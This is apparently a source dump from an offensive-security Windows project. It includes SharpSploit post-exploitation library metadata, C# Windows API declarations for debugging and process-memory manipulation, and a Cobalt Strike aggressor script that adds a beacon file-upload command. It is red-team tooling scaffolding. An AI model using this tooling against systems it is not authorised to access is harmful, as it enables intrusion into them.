/SharpSploit/SharpSploit.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | net40;net35
5 | true
6 | 1.1.0
7 | Ryan Cobb (@cobbr_io)
8 | SharpSploit is a .NET post-exploitation library written in C# https://sharpsploit.cobbr.io/api
9 | https://opensource.org/licenses/BSD-3-Clause
10 | https://github.com/cobbr/SharpSploit
11 | https://cobbr.io/favicon.png
12 | https://github.com/cobbr/SharpSploit
13 | git
14 | SharpSploit C# .NET post-exploitation offensive security
15 | AnyCPU;x86;x64
16 |
17 |
18 |
19 | AnyCPU
20 | .\SharpSploit.xml
21 | 1701;1702;1591
22 |
23 |
24 |
25 | none
26 | false
27 | .\SharpSploit.xml
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 | .\References\net35\mscorlib.dll
68 |
69 |
70 | .\References\net35\System.Management.dll
71 |
72 |
73 | .\References\net35\System.Management.Automation.dll
74 |
75 |
76 | .\References\net35\System.DirectoryServices.dll
77 |
78 |
79 | .\References\net35\System.IdentityModel.dll
80 |
81 |
82 |
83 |
84 | .\References\net40\mscorlib.dll
85 |
86 |
87 | .\References\net40\System.Management.dll
88 |
89 |
90 | .\References\net40\System.Management.Automation.dll
91 |
92 |
93 | .\References\net40\System.DirectoryServices.dll
94 |
95 |
96 | .\References\net40\System.IdentityModel.dll
97 |
98 |
99 |
100 |
101 |
102 |
103 |
--------------------------------------------------------------------------------
/SharpSploit/SharpSploit.nuspec:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | $id$
5 | $version$
6 | $title$
7 | $author$
8 | $author$
9 | https://opensource.org/licenses/BSD-3-Clause
10 | https://github.com/cobbr/SharpSploit
11 | https://cobbr.io/favicon.png
12 | false
13 | SharpSploit is a .NET post-exploitation library written in C#. https://sharpsploit.cobbr.io/api
14 | SharpSploit v1.1
15 | Copyright 2018
16 | SharpSploit C# .NET post-exploitation offensive security
17 |
18 |
--------------------------------------------------------------------------------
/WinAPI.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Text;
3 | using System.Runtime.InteropServices;
4 |
5 | namespace SharpBlock {
6 | public class WinAPI {
7 | public const UInt32 DBG_CONTINUE = 0x00010002;
8 | public const UInt32 DBG_EXCEPTION_NOT_HANDLED = 0x80010001;
9 | public const Int32 CREATE_PROCESS_DEBUG_EVENT = 3;
10 | public const Int32 CREATE_THREAD_DEBUG_EVENT = 2;
11 | public const Int32 EXCEPTION_DEBUG_EVENT = 1;
12 | public const Int32 EXIT_PROCESS_DEBUG_EVENT = 5;
13 | public const Int32 EXIT_THREAD_DEBUG_EVENT = 4;
14 | public const Int32 LOAD_DLL_DEBUG_EVENT = 6;
15 | public const Int32 OUTPUT_DEBUG_STRING_EVENT = 8;
16 | public const Int32 RIP_EVENT = 9;
17 | public const Int32 UNLOAD_DLL_DEBUG_EVENT = 7;
18 |
19 | public const UInt32 EXCEPTION_ACCESS_VIOLATION = 0xC0000005;
20 | public const UInt32 EXCEPTION_BREAKPOINT = 0x80000003;
21 | public const UInt32 EXCEPTION_DATATYPE_MISALIGNMENT = 0x80000002;
22 | public const UInt32 EXCEPTION_SINGLE_STEP = 0x80000004;
23 | public const UInt32 EXCEPTION_ARRAY_BOUNDS_EXCEEDED = 0xC000008C;
24 | public const UInt32 EXCEPTION_INT_DIVIDE_BY_ZERO = 0xC0000094;
25 | public const UInt32 DBG_CONTROL_C = 0x40010006;
26 | public const UInt32 DEBUG_PROCESS = 0x00000001;
27 | public const UInt32 CREATE_SUSPENDED = 0x00000004;
28 | public const UInt32 CREATE_NEW_CONSOLE = 0x00000010;
29 |
30 | [StructLayout(LayoutKind.Sequential)]
31 | public struct OUTPUT_DEBUG_STRING_INFO {
32 | public IntPtr lpDebugStringData;
33 | public ushort fUnicode;
34 | public ushort nDebugStringLength;
35 | }
36 |
37 | [StructLayout(LayoutKind.Sequential)]
38 | public struct EXCEPTION_RECORD {
39 | public uint ExceptionCode;
40 | public uint ExceptionFlags;
41 | public IntPtr ExceptionRecord;
42 | public IntPtr ExceptionAddress;
43 | public uint NumberParameters;
44 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 15, ArraySubType = UnmanagedType.U4)] public uint[] ExceptionInformation;
45 | }
46 | [StructLayout(LayoutKind.Sequential)]
47 | public struct EXCEPTION_DEBUG_INFO {
48 | public EXCEPTION_RECORD ExceptionRecord;
49 | public uint dwFirstChance;
50 | }
51 | [StructLayout(LayoutKind.Sequential)]
52 | public struct LOAD_DLL_DEBUG_INFO {
53 | public IntPtr hFile;
54 | public IntPtr lpBaseOfDll;
55 | public uint dwDebugInfoFileOffset;
56 | public uint nDebugInfoSize;
57 | public IntPtr lpImageName;
58 | public ushort fUnicode;
59 | }
60 | [StructLayout(LayoutKind.Sequential)]
61 | public struct CREATE_PROCESS_DEBUG_INFO {
62 | public IntPtr hFile;
63 | public IntPtr hProcess;
64 | public IntPtr hThread;
65 | public IntPtr lpBaseOfImage;
66 | public uint dwDebugInfoFileOffset;
67 | public uint nDebugInfoSize;
68 | public IntPtr lpThreadLocalBase;
69 | public IntPtr lpStartAddress; // PTHREAD_START_ROUTINE lpStartAddress;
70 | public IntPtr lpImageName;
71 | public ushort fUnicode;
72 | }
73 | [StructLayout(LayoutKind.Sequential)]
74 | public struct CREATE_THREAD_DEBUG_INFO {
75 | public IntPtr hThread;
76 | public IntPtr lpThreadLocalBase;
77 | public IntPtr lpStartAddress;
78 | }
79 | [StructLayout(LayoutKind.Sequential)]
80 | public struct DEBUG_EVENT {
81 | public UInt32 dwDebugEventCode;
82 | public UInt32 dwProcessId;
83 | public UInt32 dwThreadId;
84 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 128, ArraySubType = UnmanagedType.U1)]
85 | public byte[] u; // union of degug infos
86 | }
87 |
88 | [StructLayout(LayoutKind.Sequential)]
89 | public struct DEBUG_EVENT64 {
90 | public UInt32 dwDebugEventCode;
91 | public UInt32 dwProcessId;
92 | public UInt32 dwThreadId;
93 | public UInt32 dw64PlatformPadding;
94 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 128, ArraySubType = UnmanagedType.U1)]
95 | public byte[] u; // union of degug infos
96 | }
97 |
98 |
99 | [StructLayout(LayoutKind.Sequential)]
100 | public struct STARTUPINFO {
101 | public UInt32 cb;
102 | public string lpReserved; // LPWSTR lpReserved;
103 | public string lpDesktop;
104 | public string lpTitle;
105 | public UInt32 dwX;
106 | public UInt32 dwY;
107 | public UInt32 dwXSize;
108 | public UInt32 dwYSize;
109 | public UInt32 dwXCountChars;
110 | public UInt32 dwYCountChars;
111 | public UInt32 dwFillAttribute;
112 | public UInt32 dwFlags;
113 | public UInt16 wShowWindow;
114 | public UInt16 cbReserved2;
115 | public IntPtr lpReserved2;
116 | public IntPtr hStdInput;
117 | public IntPtr hStdOutput;
118 | public IntPtr hStdError;
119 | }
120 |
121 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
122 | public struct STARTUPINFOEX {
123 | public STARTUPINFO StartupInfo;
124 | public IntPtr lpAttributeList;
125 | }
126 |
127 | [StructLayout(LayoutKind.Sequential)]
128 | public struct PROCESS_INFORMATION {
129 | public IntPtr hProcess;
130 | public IntPtr hThread;
131 | public UInt32 dwProcessId;
132 | public UInt32 dwThreadId;
133 | }
134 |
135 | [Flags]
136 | public enum FileMapProtection : uint {
137 | PageReadonly = 0x02,
138 | PageReadWrite = 0x04,
139 | PageWriteCopy = 0x08,
140 | PageExecuteRead = 0x20,
141 | PageExecuteReadWrite = 0x40,
142 | SectionCommit = 0x8000000,
143 | SectionImage = 0x1000000,
144 | SectionNoCache = 0x10000000,
145 | SectionReserve = 0x4000000,
146 | }
147 |
148 | [Flags]
149 | public enum FileMapAccess : uint {
150 | FileMapCopy = 0x0001,
151 | FileMapWrite = 0x0002,
152 | FileMapRead = 0x0004,
153 | FileMapAllAccess = 0x001f,
154 | FileMapExecute = 0x0020,
155 | }
156 |
157 | [Flags]
158 | public enum CONTEXT64_FLAGS : uint {
159 | CONTEXT64_AMD64 = 0x100000,
160 | CONTEXT64_CONTROL = CONTEXT64_AMD64 | 0x01,
161 | CONTEXT64_INTEGER = CONTEXT64_AMD64 | 0x02,
162 | CONTEXT64_SEGMENTS = CONTEXT64_AMD64 | 0x04,
163 | CONTEXT64_FLOATING_POINT = CONTEXT64_AMD64 | 0x08,
164 | CONTEXT64_DEBUG_REGISTERS = CONTEXT64_AMD64 | 0x10,
165 | CONTEXT64_FULL = CONTEXT64_CONTROL | CONTEXT64_INTEGER | CONTEXT64_FLOATING_POINT,
166 | CONTEXT64_ALL = CONTEXT64_CONTROL | CONTEXT64_INTEGER | CONTEXT64_SEGMENTS | CONTEXT64_FLOATING_POINT | CONTEXT64_DEBUG_REGISTERS
167 | }
168 |
169 | [Flags]
170 | public enum CONTEXT_FLAGS : uint {
171 | CONTEXT_i386 = 0x10000,
172 | CONTEXT_i486 = 0x10000, // same as i386
173 | CONTEXT_CONTROL = CONTEXT_i386 | 0x01, // SS:SP, CS:IP, FLAGS, BP
174 | CONTEXT_INTEGER = CONTEXT_i386 | 0x02, // AX, BX, CX, DX, SI, DI
175 | CONTEXT_SEGMENTS = CONTEXT_i386 | 0x04, // DS, ES, FS, GS
176 | CONTEXT_FLOATING_POINT = CONTEXT_i386 | 0x08, // 387 state
177 | CONTEXT_DEBUG_REGISTERS = CONTEXT_i386 | 0x10, // DB 0-3,6,7
178 | CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x20, // cpu specific extensions
179 | CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS,
180 | CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS
181 | }
182 |
183 | [StructLayout(LayoutKind.Sequential)]
184 | public struct FLOATING_SAVE_AREA {
185 | public uint ControlWord;
186 | public uint StatusWord;
187 | public uint TagWord;
188 | public uint ErrorOffset;
189 | public uint ErrorSelector;
190 | public uint DataOffset;
191 | public uint DataSelector;
192 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)]
193 | public byte[] RegisterArea;
194 | public uint Cr0NpxState;
195 | }
196 |
197 | [StructLayout(LayoutKind.Sequential)]
198 | public class CONTEXT {
199 | public CONTEXT_FLAGS ContextFlags; //set this to an appropriate value
200 | // Retrieved by CONTEXT_DEBUG_REGISTERS
201 | public uint Dr0;
202 | public uint Dr1;
203 | public uint Dr2;
204 | public uint Dr3;
205 | public uint Dr6;
206 | public uint Dr7;
207 | // Retrieved by CONTEXT_FLOATING_POINT
208 | public FLOATING_SAVE_AREA FloatSave;
209 | // Retrieved by CONTEXT_SEGMENTS
210 | public uint SegGs;
211 | public uint SegFs;
212 | public uint SegEs;
213 | public uint SegDs;
214 | // Retrieved by CONTEXT_INTEGER
215 | public uint Edi;
216 | public uint Esi;
217 | public uint Ebx;
218 | public uint Edx;
219 | public uint Ecx;
220 | public uint Eax;
221 | // Retrieved by CONTEXT_CONTROL
222 | public uint Ebp;
223 | public uint Eip;
224 | public uint SegCs;
225 | public uint EFlags;
226 | public uint Esp;
227 | public uint SegSs;
228 | // Retrieved by CONTEXT_EXTENDED_REGISTERS
229 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)]
230 | public byte[] ExtendedRegisters;
231 | }
232 |
233 | // Next x64
234 |
235 | [StructLayout(LayoutKind.Sequential)]
236 | public struct M128A {
237 | public ulong High;
238 | public long Low;
239 |
240 | public override string ToString() {
241 | return string.Format("High:{0}, Low:{1}", this.High, this.Low);
242 | }
243 | }
244 |
245 | ///
246 | /// x64
247 | ///
248 | [StructLayout(LayoutKind.Sequential, Pack = 16)]
249 | public struct XSAVE_FORMAT64 {
250 | public ushort ControlWord;
251 | public ushort StatusWord;
252 | public byte TagWord;
253 | public byte Reserved1;
254 | public ushort ErrorOpcode;
255 | public uint ErrorOffset;
256 | public ushort ErrorSelector;
257 | public ushort Reserved2;
258 | public uint DataOffset;
259 | public ushort DataSelector;
260 | public ushort Reserved3;
261 | public uint MxCsr;
262 | public uint MxCsr_Mask;
263 |
264 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
265 | public M128A[] FloatRegisters;
266 |
267 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
268 | public M128A[] XmmRegisters;
269 |
270 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)]
271 | public byte[] Reserved4;
272 | }
273 |
274 | ///
275 | /// x64
276 | ///
277 | [StructLayout(LayoutKind.Sequential, Pack = 16)]
278 | public class CONTEXT64 {
279 | public ulong P1Home;
280 | public ulong P2Home;
281 | public ulong P3Home;
282 | public ulong P4Home;
283 | public ulong P5Home;
284 | public ulong P6Home;
285 |
286 | public CONTEXT64_FLAGS ContextFlags;
287 | public uint MxCsr;
288 |
289 | public ushort SegCs;
290 | public ushort SegDs;
291 | public ushort SegEs;
292 | public ushort SegFs;
293 | public ushort SegGs;
294 | public ushort SegSs;
295 | public uint EFlags;
296 |
297 | public ulong Dr0;
298 | public ulong Dr1;
299 | public ulong Dr2;
300 | public ulong Dr3;
301 | public ulong Dr6;
302 | public ulong Dr7;
303 |
304 | public ulong Rax;
305 | public ulong Rcx;
306 | public ulong Rdx;
307 | public ulong Rbx;
308 | public ulong Rsp;
309 | public ulong Rbp;
310 | public ulong Rsi;
311 | public ulong Rdi;
312 | public ulong R8;
313 | public ulong R9;
314 | public ulong R10;
315 | public ulong R11;
316 | public ulong R12;
317 | public ulong R13;
318 | public ulong R14;
319 | public ulong R15;
320 | public ulong Rip;
321 |
322 | public XSAVE_FORMAT64 DUMMYUNIONNAME;
323 |
324 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)]
325 | public M128A[] VectorRegister;
326 | public ulong VectorControl;
327 |
328 | public ulong DebugControl;
329 | public ulong LastBranchToRip;
330 | public ulong LastBranchFromRip;
331 | public ulong LastExceptionToRip;
332 | public ulong LastExceptionFromRip;
333 | }
334 |
335 | [DllImport("kernel32.dll", EntryPoint = "WaitForDebugEvent")]
336 | [return: MarshalAs(UnmanagedType.Bool)]
337 | public static extern bool WaitForDebugEvent(IntPtr lpDebugEvent, uint dwMilliseconds);
338 | [DllImport("kernel32.dll")]
339 | public static extern bool ContinueDebugEvent(uint dwProcessId, uint dwThreadId,
340 | uint dwContinueStatus);
341 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
342 | public static extern bool CreateProcess(
343 | string lpApplicationName,
344 | string lpCommandLine,
345 | IntPtr lpProcessAttributes, // ref SECURITY_ATTRIBUTES lpProcessAttributes,
346 | IntPtr lpThreadAttributes, // ref SECURITY_ATTRIBUTES lpThreadAttributes,
347 | bool bInheritHandles,
348 | UInt32 dwCreationFlags,
349 | IntPtr lpEnvironment,
350 | string lpCurrentDirectory,
351 | [In] ref STARTUPINFOEX lpStartupInfo,
352 | out PROCESS_INFORMATION lpProcessInformation);
353 |
354 | [Flags]
355 | public enum ThreadAccess : int {
356 | TERMINATE = (0x0001),
357 | SUSPEND_RESUME = (0x0002),
358 | GET_CONTEXT = (0x0008),
359 | SET_CONTEXT = (0x0010),
360 | SET_INFORMATION = (0x0020),
361 | QUERY_INFORMATION = (0x0040),
362 | SET_THREAD_TOKEN = (0x0080),
363 | IMPERSONATE = (0x0100),
364 | DIRECT_IMPERSONATION = (0x0200)
365 | }
366 |
367 | public enum StdHandle : int {
368 | STD_INPUT_HANDLE = -10,
369 | STD_OUTPUT_HANDLE = -11,
370 | STD_ERROR_HANDLE = -12
371 | };
372 |
373 | [Flags]
374 | public enum ProcessAccessFlags : uint {
375 | All = 0x001F0FFF,
376 | Terminate = 0x00000001,
377 | CreateThread = 0x00000002,
378 | VirtualMemoryOperation = 0x00000008,
379 | VirtualMemoryRead = 0x00000010,
380 | VirtualMemoryWrite = 0x00000020,
381 | DuplicateHandle = 0x00000040,
382 | CreateProcess = 0x000000080,
383 | SetQuota = 0x00000100,
384 | SetInformation = 0x00000200,
385 | QueryInformation = 0x00000400,
386 | QueryLimitedInformation = 0x00001000,
387 | Synchronize = 0x00100000
388 | }
389 |
390 | [StructLayout(LayoutKind.Sequential, Pack = 1)]
391 | public struct SYSTEM_HANDLE_INFORMATION {
392 | public UInt32 OwnerPID;
393 | public Byte ObjectType;
394 | public Byte HandleFlags;
395 | public UInt16 HandleValue;
396 | public UIntPtr ObjectPointer;
397 | public IntPtr AccessMask;
398 | }
399 |
400 | public struct IO_STATUS_BLOCK {
401 | uint status;
402 | ulong information;
403 | }
404 |
405 | public enum FILE_INFORMATION_CLASS {
406 | FileDirectoryInformation = 1, // 1
407 | FileFullDirectoryInformation, // 2
408 | FileBothDirectoryInformation, // 3
409 | FileBasicInformation, // 4
410 | FileStandardInformation, // 5
411 | FileInternalInformation, // 6
412 | FileEaInformation, // 7
413 | FileAccessInformation, // 8
414 | FileNameInformation, // 9
415 | FileRenameInformation, // 10
416 | FileLinkInformation, // 11
417 | FileNamesInformation, // 12
418 | FileDispositionInformation, // 13
419 | FilePositionInformation, // 14
420 | FileFullEaInformation, // 15
421 | FileModeInformation = 16, // 16
422 | FileAlignmentInformation, // 17
423 | FileAllInformation, // 18
424 | FileAllocationInformation, // 19
425 | FileEndOfFileInformation, // 20
426 | FileAlternateNameInformation, // 21
427 | FileStreamInformation, // 22
428 | FilePipeInformation, // 23
429 | FilePipeLocalInformation, // 24
430 | FilePipeRemoteInformation, // 25
431 | FileMailslotQueryInformation, // 26
432 | FileMailslotSetInformation, // 27
433 | FileCompressionInformation, // 28
434 | FileObjectIdInformation, // 29
435 | FileCompletionInformation, // 30
436 | FileMoveClusterInformation, // 31
437 | FileQuotaInformation, // 32
438 | FileReparsePointInformation, // 33
439 | FileNetworkOpenInformation, // 34
440 | FileAttributeTagInformation, // 35
441 | FileTrackingInformation, // 36
442 | FileIdBothDirectoryInformation, // 37
443 | FileIdFullDirectoryInformation, // 38
444 | FileValidDataLengthInformation, // 39
445 | FileShortNameInformation, // 40
446 | FileHardLinkInformation = 46 // 46
447 | }
448 |
449 | public enum OBJECT_INFORMATION_CLASS : int {
450 | ObjectBasicInformation = 0,
451 | ObjectNameInformation = 1,
452 | ObjectTypeInformation = 2,
453 | ObjectAllTypesInformation = 3,
454 | ObjectHandleInformation = 4
455 | }
456 |
457 |
458 | [StructLayout(LayoutKind.Sequential, Pack = 16)]
459 | struct FILE_NAME_INFORMATION {
460 | uint FileNameLength;
461 | [MarshalAs(UnmanagedType.LPStr, SizeConst = 65535)]
462 | string FileName;
463 | }
464 |
465 | [DllImport("kernel32.dll")]
466 | public static extern bool GetFileSizeEx(IntPtr hFile, out long lpFileSize);
467 |
468 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
469 | public static extern IntPtr CreateFileMapping(
470 | IntPtr hFile,
471 | IntPtr lpFileMappingAttributes,
472 | FileMapProtection flProtect,
473 | uint dwMaximumSizeHigh,
474 | uint dwMaximumSizeLow,
475 | [MarshalAs(UnmanagedType.LPStr)] string lpName);
476 |
477 | [DllImport("kernel32.dll", SetLastError = true)]
478 | public static extern IntPtr MapViewOfFile(IntPtr hFileMappingObject, FileMapAccess dwDesiredAccess, uint dwFileOffsetHigh,
479 | uint dwFileOffsetLow, UIntPtr dwNumberOfBytesToMap);
480 |
481 | [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
482 | public static extern uint GetFinalPathNameByHandle(IntPtr hFile, [MarshalAs(UnmanagedType.LPTStr)] StringBuilder lpszFilePath, uint cchFilePath, uint dwFlags);
483 |
484 | [DllImport("kernel32.dll", SetLastError = true)]
485 | public static extern bool WriteProcessMemory(
486 | IntPtr hProcess,
487 | IntPtr lpBaseAddress,
488 | byte[] lpBuffer,
489 | Int32 nSize,
490 | out IntPtr lpNumberOfBytesWritten);
491 |
492 | [DllImport("kernel32.dll", SetLastError = true)]
493 | public static extern bool ReadProcessMemory(
494 | IntPtr hProcess,
495 | IntPtr lpBaseAddress,
496 | [Out] byte[] lpBuffer,
497 | int dwSize,
498 | out IntPtr lpNumberOfBytesRead);
499 |
500 | [DllImport("kernel32.dll", SetLastError = true)]
501 | [return: MarshalAs(UnmanagedType.Bool)]
502 | public static extern bool GetExitCodeProcess(IntPtr hProcess, out int lpExitCode);
503 | [DllImport("kernel32.dll", SetLastError = true)]
504 | public static extern bool GetThreadContext(IntPtr hThread, IntPtr lpContext);
505 | [DllImport("kernel32.dll", SetLastError = true)]
506 | public static extern bool Wow64GetThreadContext(IntPtr hThread, IntPtr lpContext);
507 | [DllImport("kernel32.dll", SetLastError = true)]
508 | public static extern bool SetThreadContext(IntPtr hThread, IntPtr lpContext);
509 | [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
510 | public static extern bool Wow64SetThreadContext(IntPtr hThread, IntPtr lpContext);
511 | [DllImport("kernel32.dll", SetLastError = true)]
512 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
513 | [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
514 | public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);
515 | [DllImport("kernel32.dll", SetLastError = true)]
516 | public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
517 | [DllImport("kernel32.dll", SetLastError = true)]
518 | public static extern IntPtr GetStdHandle(StdHandle nStdHandle);
519 | [DllImport("ntdll.dll", SetLastError = true)]
520 | public static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, IntPtr processInformation, int processInformationLength);
521 | [DllImport("ntdll.dll", SetLastError = true)]
522 | public static extern int NtQueryInformationProcess(IntPtr hProcess, int processInformationClass, IntPtr processInformation, int processInformationLength, out ulong returnLength);
523 |
524 | [StructLayout(LayoutKind.Sequential)]
525 | public struct ProcessConsoleHostProcessInfo {
526 | public int pidLow;
527 | public int pidHigh;
528 | };
529 |
530 | [DllImport("kernel32.dll", SetLastError = true)]
531 | public static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);
532 |
533 | [DllImport("kernel32.dll", SetLastError = true)]
534 | [return: MarshalAs(UnmanagedType.Bool)]
535 | public static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
536 |
537 | [DllImport("kernel32.dll", SetLastError = true)]
538 | [return: MarshalAs(UnmanagedType.Bool)]
539 | public static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
540 |
541 | [DllImport("kernel32.dll", SetLastError = true)]
542 | public static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId);
543 |
544 | [DllImport("ntdll.dll", SetLastError = true)]
545 | public static extern uint NtQueryInformationFile(IntPtr FileHandle, ref IO_STATUS_BLOCK IoStatusBlock, IntPtr FileInformation, int FileInformationLength, FILE_INFORMATION_CLASS FileInformationClass);
546 | }
547 | }
548 |
--------------------------------------------------------------------------------
/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/upload.cna:
--------------------------------------------------------------------------------
1 |
2 |
3 | beacon_command_register("upload_file", "Uploads a local file and send to a file accessible by the beacon host (including pipes)", "upload_pipe");
4 |
5 | sub _upload_file{
6 | $handle = openf($2);
7 | $data = readb($handle, -1);
8 | closef($handle);
9 | bupload_raw($1, $3, $data);
10 | }
11 |
12 | alias upload_file {
13 | _upload_file($1, $2, $3);
14 | }
--------------------------------------------------------------------------------